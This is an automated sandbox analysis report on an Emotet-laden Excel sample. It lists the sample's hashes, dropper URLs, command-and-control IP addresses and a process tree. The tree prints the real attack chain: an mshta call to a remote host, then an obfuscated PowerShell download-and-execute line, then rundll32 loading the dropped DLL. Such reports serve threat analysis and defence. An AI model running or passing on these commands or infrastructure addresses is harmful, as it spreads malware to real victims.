Analysis

  • max time kernel
    122s
  • max time network
    173s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    28/01/2022, 15:32

General

  • Target
    tmp8y6nrxnx.xls
  • Size 90KB
  • Sample220128-symjmaffhj
  • SHA256 e7623d11804279c664128cbdd11684cbcdc7838103f5233eb68e54935a59c30c
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.172/ee/ss/se.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.172/ee/ss/se.png

Extracted

Family
  • emotet

Botnet
  • Epoch5

C2
  • 159.69.43.124:8080

  • 45.79.80.198:443

  • 207.148.81.119:8080

  • 128.199.192.135:8080

  • 118.98.72.86:443

  • 217.182.143.207:443

  • 168.197.250.14:80

  • 116.124.128.206:8080

  • 78.46.73.125:443

  • 185.148.168.15:8080

  • 195.154.146.35:443

  • 85.214.67.203:8080

  • 194.9.172.107:8080

  • 59.148.253.194:443

  • 210.57.209.142:8080

  • 54.38.242.185:443

  • 195.77.239.39:8080

  • 159.69.237.188:443

  • 104.131.62.48:8080

  • 62.171.178.147:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp8y6nrxnx.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3640
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c set ooo=mshta http://91.240.118.172/ee/ss/se.html & echo %ooo% | cmd
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1580
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo %ooo% "
        3⤵
          PID:4564
        • C:\Windows\system32\cmd.exe
          cmd
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4552
          • C:\Windows\system32\mshta.exe
            mshta http://91.240.118.172/ee/ss/se.html
            4⤵
            • Blocklisted process makes network request
            • Suspicious use of WriteProcessMemory
            PID:3124
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FutuReD}{FutuReD}Ne{FutuReD}{FutuReD}w{FutuReD}-Obj{FutuReD}ec{FutuReD}{FutuReD}t N{FutuReD}{FutuReD}et{FutuReD}.W{FutuReD}{FutuReD}e'.replace('{FutuReD}', ''); $c4='bC{FutuReD}li{FutuReD}{FutuReD}en{FutuReD}{FutuReD}t).D{FutuReD}{FutuReD}ow{FutuReD}{FutuReD}nl{FutuReD}{FutuReD}{FutuReD}o'.replace('{FutuReD}', ''); $c3='ad{FutuReD}{FutuReD}St{FutuReD}rin{FutuReD}{FutuReD}g{FutuReD}(''ht{FutuReD}tp{FutuReD}://91.240.118.172/ee/ss/se.png'')'.replace('{FutuReD}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2652
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:2840
                • C:\Windows\SysWow64\rundll32.exe
                  C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
                  7⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:3596
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer
                    8⤵
                    • Loads dropped DLL
                    • Drops file in System32 directory
                    • Suspicious use of WriteProcessMemory
                    PID:4772
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Haoeakrnlqyhjydi\iefhaonudtehsbz.bvf",LdPdBRbupBboPvx
                      9⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4604
                      • C:\Windows\SysWOW64\rundll32.exe
                        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Haoeakrnlqyhjydi\iefhaonudtehsbz.bvf",DllRegisterServer
                        10⤵
                        • Blocklisted process makes network request
                        • Suspicious behavior: EnumeratesProcesses
                        PID:2984
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 3124 -s 2308
              5⤵
              • Program crash
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1048

    Network

          MITRE ATT&CK Enterprise v6

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          Downloads

          memory/2652-292-0x000001A87F540000-0x000001A87F542000-memory.dmp

          memory/2652-328-0x000001A87F546000-0x000001A87F548000-memory.dmp

          memory/2652-323-0x000001A87FB60000-0x000001A87FBD6000-memory.dmp

          memory/2652-312-0x000001A87F750000-0x000001A87F78C000-memory.dmp

          memory/2652-291-0x000001A87F4C0000-0x000001A87F4E2000-memory.dmp

          memory/2652-294-0x000001A87F543000-0x000001A87F545000-memory.dmp

          memory/2984-634-0x0000000004E80000-0x0000000004EA7000-memory.dmp

          memory/2984-620-0x00000000044F0000-0x0000000004517000-memory.dmp

          memory/2984-644-0x00000000053F0000-0x0000000005417000-memory.dmp

          memory/2984-642-0x0000000005300000-0x0000000005327000-memory.dmp

          memory/2984-640-0x0000000005120000-0x0000000005147000-memory.dmp

          memory/2984-638-0x0000000005040000-0x0000000005067000-memory.dmp

          memory/2984-636-0x0000000004F60000-0x0000000004F87000-memory.dmp

          memory/2984-632-0x0000000004DA0000-0x0000000004DC7000-memory.dmp

          memory/2984-623-0x0000000004CC0000-0x0000000004CE7000-memory.dmp

          memory/3596-602-0x00000000045D0000-0x00000000045F7000-memory.dmp

          memory/3640-119-0x00007FFB38420000-0x00007FFB38430000-memory.dmp

          memory/3640-131-0x00007FFB349C0000-0x00007FFB349D0000-memory.dmp

          memory/3640-663-0x00007FFB38420000-0x00007FFB38430000-memory.dmp

          memory/3640-662-0x00007FFB38420000-0x00007FFB38430000-memory.dmp

          memory/3640-661-0x00007FFB38420000-0x00007FFB38430000-memory.dmp

          memory/3640-660-0x00007FFB38420000-0x00007FFB38430000-memory.dmp

          memory/3640-122-0x00007FFB38420000-0x00007FFB38430000-memory.dmp

          memory/3640-121-0x00007FFB38420000-0x00007FFB38430000-memory.dmp

          memory/3640-118-0x00007FFB38420000-0x00007FFB38430000-memory.dmp

          memory/3640-132-0x00007FFB349C0000-0x00007FFB349D0000-memory.dmp

          memory/3640-120-0x00007FFB38420000-0x00007FFB38430000-memory.dmp

          memory/4604-619-0x0000000002D60000-0x0000000002D87000-memory.dmp

          memory/4772-607-0x0000000004F70000-0x0000000004F97000-memory.dmp

          memory/4772-609-0x0000000005050000-0x0000000005077000-memory.dmp

          memory/4772-613-0x0000000005190000-0x00000000051B7000-memory.dmp

          memory/4772-611-0x0000000005130000-0x0000000005157000-memory.dmp

          memory/4772-617-0x0000000005390000-0x00000000053B7000-memory.dmp

          memory/4772-615-0x00000000051F0000-0x0000000005217000-memory.dmp